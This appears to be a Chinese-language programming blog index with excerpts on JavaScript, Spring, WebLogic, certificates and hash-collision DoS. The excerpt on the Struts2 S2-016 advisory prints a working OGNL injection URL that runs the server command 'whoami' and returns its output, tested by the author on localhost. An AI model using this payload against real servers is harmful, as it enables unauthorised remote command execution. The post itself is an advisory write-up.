7/31/2013
4:52:00 PM 0

Javascript Constructor Property

Javascript constructor 是建構該物件之執行個體的函式參考,所以當建立該物件時就會賦予 constructor 屬性值 function Employee(name, department) { this.name = name; this.department = department; } var e1 = new Employee('Albert', 'accounting'); var e2 = new Employee('Grace', 'sales'); console.log(e1 instanceof Employee); console.log(e2 instanceof Employee); console.log(e1.constructor == Employee); console.log(e2.constructor == Employee); output -------------------------------------------- true true true true 但如果使用...

Set Spring Property File Encoding

<bean id="contextPropertyConfigurer" class="org.springframework.beans.factory.config.PropertyPlaceholderConfigurer"> <property name="locations"> <list> <value>classpath:test.properties</value> </list> </property> <property name="fileEncoding" value="UTF-8"/> </bean> <bean id="sysConfig" class="org.springframework.beans.factory.config.PropertiesFactoryBean"> ...
7/29/2013
3:56:00 PM 0

WebLogic Session Timeout 設定

方法一 : weblogic.xml <session-descriptor> <timeout-secs>2400</timeout-secs><!--seconds--> </session-descriptor> WebLogic Console ==> deployments / deployment name / Configuration / General / Session Timeout (in seconds) WebLogic Console 中的設定值, 就是 weblogic.xml 的值 方法二 : web.xml <session-config> <session-timeout>120</session-timeout><!--minutes--> </session-config> 設定0或小於0則 session 永遠不會 time out (可參考 web-app_2_3.dtd...
7/19/2013
3:07:00 PM 0

Apache Struts2 發布 S2-016 S2-017 漏洞公告

2013年七月 Apache Struts2 發布漏洞公告, 有心人士可以利用這漏洞執行伺服器指令 http://struts.apache.org/release/2.3.x/docs/s2-016.html http://struts.apache.org/release/2.3.x/docs/s2-017.html 測試了一下 test1 : http://127.0.0.1/test.action?redirect:http://www.google.com/ test2 : http://127.0.0.1/test.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'whoami'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()} 結果都可正確執行並回傳,這漏洞造成的影響相當大,可以利用此漏洞執行伺服器端的指令, 主要的漏洞是源自於...
7/17/2013

數位憑證基本名詞

數位憑證基本名詞
數位憑證遵循 X.509 標準 CSR 憑證簽章要求檔 (Certificate Signing Request) 一般申請憑證必須先用工具產生 CSR 檔,產生過程中會將公鑰和私鑰, 一起產生出來,CSR 中包含憑證的基本資訊和公鑰, 產生之後將 CSR 送給 CA 做簽署 wikipedia : http://en.wikipedia.org/wiki/Certificate_signing_request 憑證認證採行由上而下的階層設計 Root CA >> CA >> Certificate Root certificate : 自我簽署的作用,根憑證授權單位有能力指派中繼憑證授權者 wikipedia : http://en.wikipedia.org/wiki/Root_certificate Intermediate certificate : 中繼憑證授權單位,可發出伺服器憑證,個人憑證,發行者憑證,或其他中繼憑證授權單位 wikipedia : http://en.wikipedia.org/wiki/Intermediate_certificate_authorities Domain...
7/12/2013
2:36:00 PM 0

Javascript Wrapper Object

Javascript 有五個基本型別(primitive types) string number boolean null undefined 除了這五個之外, 其他都是物件(object) 去掉 null 及 undefined, 其他三個各有對應的 wrapper 物件 string --> String number --> Number boolean --> Boolean Javascript 在執行過程中可以彈性化的轉換基本型別到相對應的 wrapper 物件 var a = "123"; console.log(typeof a); a.test = "456"; console.log(a.test); output -------------------------------------------- string undefined 因為是基本型別無法賦予屬性, 所以 a.test 會顯示 undefined 自動轉型成 String 物件 var b = "456"; console.log(b.length); output -------------------------------------------- 3 如果要自訂屬性則必須使用...
7/07/2013
8:57:00 PM 0

Javascript loop

for var myArray = [1,2,3]; for (var i = 0; i < myArray.length; i++) { alert(myArray[i]); } output -------------------------------------------- 1 2 3 for in var obj = { a : 1, b : 2 }; for(var key in obj) { alert(key); } output -------------------------------------------- a b forEach (IE9 之後才支援) forEach 是從 Array.prototype.forEach 來的, 因此只要是 Array 物件就擁有 forEach 方法 function alertElements(element, index, array) { alert(element); } [1,2,3].forEach(alertElements); output -------------------------------------------- 1 2 3 在...
7/03/2013

Hash Collision DoS

Hash Collision DoS
oCERT Advisories ==> http://www.ocert.org/advisories/ocert-2011-003.html Hashtable 在 Java 中是很常被使用的 class 之一, Hashtable 的原理是利用 hash code 的方式, 算出陣列的索引, 來加速資料搜尋, 最佳狀況下, hash code 是不會重覆的, 因此可以達到快速搜尋的效果 Wikipedia 對 Hash table 的說明 ==>  http://en.wikipedia.org/wiki/Hash_table hash code 的運算方式有很多種, 但不管使用哪一種方式, 都難免發生兩種不同的 Key, 算出同樣 hash code 的狀況, 稱之為碰撞(collision) 我們來看 Java HashMap 如何去處理 collision public V put(K key, V value) { if (key == null) return putForNullKey(value); ...